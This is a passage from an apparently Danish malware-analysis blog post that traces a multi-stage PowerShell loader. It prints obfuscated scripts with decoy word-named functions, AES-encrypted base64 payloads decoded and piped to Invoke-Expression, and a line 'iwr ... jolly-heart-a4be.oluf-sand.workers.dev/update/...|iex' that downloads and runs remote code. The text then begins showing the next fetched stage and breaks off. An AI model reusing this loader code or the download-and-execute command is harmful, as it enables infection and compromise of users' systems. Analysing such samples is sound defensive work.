</span></span><span class="line"><span class="cl">    <span class="n">whorl</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43559</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">warden</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">28694</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">desk</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">56127</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">day</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">10657</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">pollution</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">23548</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">skate</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3605</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">swan</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">54232</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">successful</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">13949</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vulgar</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">64430</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$sour</span> <span class="p">=</span> <span class="s1">&#39;S2z5lEz62YgM5spK6wpA0c2DARJk/geo9+y4IjG2oak1Zs/7yc8wMbVl4/KMqwVQL6WsWqjwXXNOgGyMJulNORj7zNBGdzaqTxR/gEMgYSrzlk7VcL7uJ5d+pxcoRq+5HJX+sIPY9j7W4j/qVBehRoKZeW+BFz5NSXp1i2w4suFUGbdh0FScfk59upild4mV1HzD9I1GMOs0ksRh4ZbgRd4N/t1WHAuqeKiCG2jYn47+GASwIt8OvNLtDiX4/0Dpm+2wRJTlcDLQG48XXKHLlm4gmC0G5fRPzJLChGmxWldBjKowMEyo5/Ow9f6FT5l7OQEofj6fee7O0VzdKNl0rhqZ9XUaNfupCBc1jj0gu1e+zzPZdohzof2u/wl+1zTslPkbC3YzySBmufHQVG1d/OXvlWMTghvk3OIs0l9SMjf3SJSgtKZKGLGloKFAzJ5y&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">demonic([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">van</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55784</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">economics</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48566</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">weed</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">11128</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">depressive</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16381</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">zampone</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43219</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">alien</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40794</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">puma</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53379</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">overcharge</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29759</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">carpeting</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">46614</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">chaplain</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">62796</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">brow([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">subset</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">65072</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cork</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">22404</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">octopus</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">32149</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">large</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3413</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">emu</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3533</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">berserk</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">41838</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bonsai</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">26584</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">poker</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47192</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">pan</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7983</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">perfume</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">9029</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">towering</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29183</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">verse</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39129</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">blush([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">uplift</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40490</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">airbag</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">25685</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">adapter</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44307</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mend</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33526</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">laparoscope</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">58654</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sky</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47273</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">population([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">board</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47673</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cricketer</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55540</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vivo</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">63501</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">structure</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">26531</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">suburb</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14703</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">consonant</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33406</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">excite</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">19618</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">relate</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">35184</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">antique</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">60545</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">broad([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">cream</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">28435</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">normalize</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">17492</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sender</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14883</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">spot</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">1015</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gator</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27898</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">workout</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7274</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conifer</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16831</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ski</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44682</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">map</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53320</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cat</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39757</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bunch</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">20836</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hail</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55206</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cob</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">64965</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">crack</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">23987</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">snack</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45599</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">possess</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">56083</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cob</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29742</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">implication</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">50956</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">parsnip</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45719</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$college</span> <span class="p">=</span> <span class="s1">&#39;d1XTIr&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">dose([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">standoff</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">54336</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">precedence</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">35821</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seek</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">13810</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wee</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">48821</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">head</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7284</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hay</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">44324</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">station</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27381</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">manufacturing</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">65219</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ferryboat</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">42238</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">27799</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vote</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2888</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">roster</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">347</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">iris</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">7377</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">pink</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45999</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">logic</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">53735</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hash</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">23411</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">principle</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">35633</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">arrest([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">shearling</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6313</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">brake</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">46058</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">honorable</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">15677</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$hike</span> <span class="p">=</span> <span class="s1">&#39;RqxubPXoRbL2TIHswF7QXwc4zTIHpKpIsa24AtqUreFoopPRTP2WhOILQjeyUy54VZRITlMp7nFWW53ICdAMb95wZBcEPr664JVvk3ljimLWFIKBlkzEFO61G0Lr2DgMIpk6+ZOL7ixwW9juyOwJG9/WUEgNJQad4EpzSbvuaGbRhhCTTg2a3v5QLR0jcYv+GwnxemnMyxsOxncspWl+Anp/vgxbracIx6a+aS/ZpjXI4bPu8tbYNfEW68ix3s2z0OvjpT9SlJKgqjttJErnojQ4MfbcdC8YA9pBhPchtY+EKXgPSwBt61eq5xNETEr7fTLxtUeKCypTta3Rvot7wAUHxi+u6v/4FFbdAIxWCV0f3KP0/5K2JWlxKSwrIaETz8esuEwYvVpjtGzu9j9SsXWj+ER3gC1KMQqVM8YNAujlpmzOawOHl7+JjKtOGukvNeOLuTJl37tWrD4zjt2q1WQ/C/OM9fTkHpHWXXEHU2+ot6jPOZjtFhj2O7a16gjpBssUkMvu6RpEQJoeSAQAqlcP7PDmSkpmvgYhrX84k49yX4RSqCGsXl5ubcv5ZYDwOtvMrRHfScOx8UAkRD2wkzqr1ri8uevYYQHNua4uKjXbzzcdvX+8jAGc+vFD+ZvatcQkgrOwZdwrodc9XPxpfnee9NKMXmfuYUsTaOUmuc0/8n9AcNLUapV1kFYMxjJgzbg6x6jRc8j7xv1P6a8YBDub5rRn1tUG7qr27rxc5XW0UIkd3wlsMiqOgPhdaK7ACxrGtFp7T60WCYljgWxX83nZ57S3MVc3gXHyCVk7ptmxkm1POyPq9rxGbZ/IdBucQYfkXCnWlQVCaKZHXog9PlaAC70qiX/eo2SzgU3Gg5eWtHalj7jTlAyRLKzT0Ovuf9xwdLFJenXg1g==&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$epic</span> <span class="p">=</span> <span class="s1">&#39;Ukw&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$nosy</span> <span class="p">=</span> <span class="nv">$cow</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$cow</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$nosy</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$employ</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$nosy</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$modification</span> <span class="p">=</span> <span class="nv">$fugato</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$fugato</span> <span class="o">-eq</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$modification</span> <span class="p">=</span> <span class="nb">Read-Host</span> <span class="n">-Prompt</span> <span class="s1">&#39;Key Variable name&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$percent</span> <span class="p">=</span> <span class="nb">Get-Variable</span> <span class="n">-Name</span> <span class="nv">$modification</span> <span class="n">-ValueOnly</span>
</span></span><span class="line"><span class="cl"><span class="nv">$hiking</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$employ</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$sister</span> <span class="p">=</span> <span class="p">[</span><span class="no">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$percent</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$poverty</span> <span class="p">=</span> <span class="vm">@</span><span class="p">{</span><span class="n">TypeName</span><span class="p">=</span><span class="s2">&#34;Sys&#34;</span><span class="p">+</span><span class="s2">&#34;t&#34;</span><span class="p">+</span><span class="s2">&#34;e&#34;</span><span class="p">+</span><span class="s2">&#34;m.&#34;</span><span class="p">+</span><span class="s2">&#34;SECu&#34;</span><span class="p">+</span><span class="s2">&#34;R&#34;</span><span class="p">+</span><span class="s2">&#34;I&#34;</span><span class="p">+</span><span class="s2">&#34;Ty.CR&#34;</span><span class="p">+</span><span class="s2">&#34;YPT&#34;</span><span class="p">+</span><span class="s2">&#34;OGRa&#34;</span><span class="p">+</span><span class="s2">&#34;PH&#34;</span><span class="p">+</span><span class="s2">&#34;y&#34;</span><span class="p">+</span><span class="s2">&#34;.a&#34;</span><span class="p">+</span><span class="s2">&#34;es&#34;</span><span class="p">+</span><span class="s2">&#34;mANA&#34;</span><span class="p">+</span><span class="s2">&#34;GeD&#34;</span><span class="p">;</span><span class="n">Property</span><span class="p">=</span><span class="vm">@</span><span class="p">{(</span><span class="s2">&#34;mOd&#34;</span><span class="p">+</span><span class="s2">&#34;E&#34;</span><span class="p">)=[</span><span class="no">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span><span class="p">;</span> <span class="n">Padding</span><span class="p">=[</span><span class="no">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span><span class="p">;</span> <span class="n">BlockSize</span><span class="p">=</span><span class="mf">128</span><span class="p">;</span><span class="n">KeySize</span><span class="p">=</span><span class="mf">256</span><span class="p">;(</span><span class="s2">&#34;iV&#34;</span><span class="p">)=</span><span class="nv">$hiking</span><span class="p">[</span><span class="mf">0</span><span class="p">.</span><span class="mf">.15</span><span class="p">];}}</span>
</span></span><span class="line"><span class="cl"><span class="nv">$book</span> <span class="p">=</span> <span class="nb">New-Object</span> <span class="nv">@poverty</span>
</span></span><span class="line"><span class="cl"><span class="nv">$book</span><span class="p">.(</span><span class="s2">&#34;keY&#34;</span><span class="p">)=</span><span class="nv">$sister</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">System.Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetString</span><span class="p">(</span><span class="nv">$book</span><span class="p">.(</span><span class="s2">&#34;c&#34;</span><span class="p">+</span><span class="s2">&#34;reA&#34;</span><span class="p">+</span><span class="s2">&#34;tedEc&#34;</span><span class="p">+</span><span class="s2">&#34;ryPTO&#34;</span><span class="p">+</span><span class="s2">&#34;R&#34;</span><span class="p">)().</span><span class="py">TransformFinalBlock</span><span class="p">(</span><span class="nv">$hiking</span><span class="p">,</span><span class="mf">16</span><span class="p">,</span><span class="nv">$hiking</span><span class="p">.</span><span class="n">length</span><span class="p">-</span><span class="mf">16</span><span class="p">)).</span><span class="py">Trim</span><span class="p">([</span><span class="no">char</span><span class="p">]</span><span class="mf">0</span><span class="p">)|&amp;((&amp;</span><span class="n">g</span><span class="s1">&#39;&#39;</span><span class="s2">&#34;cm&#34;</span> <span class="p">(</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s2">&#34;?&#34;</span><span class="p">+</span><span class="s1">&#39;x&#39;</span><span class="p">))[</span><span class="mf">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">iwr </span><span class="n">-UseBasicParsing</span> <span class="nb">jolly-heart</span><span class="n">-a4be</span><span class="p">.</span><span class="nb">oluf-sand</span><span class="p">.</span><span class="py">workers</span><span class="p">.</span><span class="n">dev</span><span class="p">/</span><span class="n">update</span><span class="p">/</span><span class="n">587e5d6b</span><span class="p">-</span><span class="n">202c</span><span class="p">-</span><span class="mf">4690</span><span class="p">-</span><span class="n">9cf4</span><span class="p">-</span><span class="n">0ffb672b624b</span><span class="p">|</span><span class="nb">iex
</span></span></span></code></pre></div><p>Her er der igen en forspørgsel til <code>jolly-heart-a4be.oluf-sand.workers.dev/update/587e5d6b-202c-4690-9cf4-0ffb672b624b</code>, ved at lave en GET request igen får vi følgende svar:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="k">param</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$hum</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="no">string</span><span class="p">]</span><span class="nv">$hood</span> <span class="p">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$cool</span> <span class="p">=</span> <span class="s1">&#39;c1dOTat5fnlq0vk619S2eMF+tZRoY2UyovCrwqxgS44=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$olive</span> <span class="p">=</span> <span class="mf">11820</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$run</span> <span class="p">=</span> <span class="s1">&#39;1GWZL7Tm&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">fen([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">sculptural</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">46380</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">weave</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">60834</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">awake</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16352</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">apple</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">56265</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">truck</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">43544</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">dinner</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">42751</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">halloween</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">10907</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cap</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">4286</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">skean</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">5482</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mare</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">41384</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">squid</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31260</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">lay</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3479</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">horn([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">roll</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">24578</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fiberglass</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">17916</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">interval</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">24624</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">side</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16902</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">charter</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2057</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">queen</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">61646</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">effector</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8731</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gnu</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">56615</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">team</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14771</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cymbal</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40122</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">nephew</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45748</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bag</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">55104</span><span class="p">)</span>
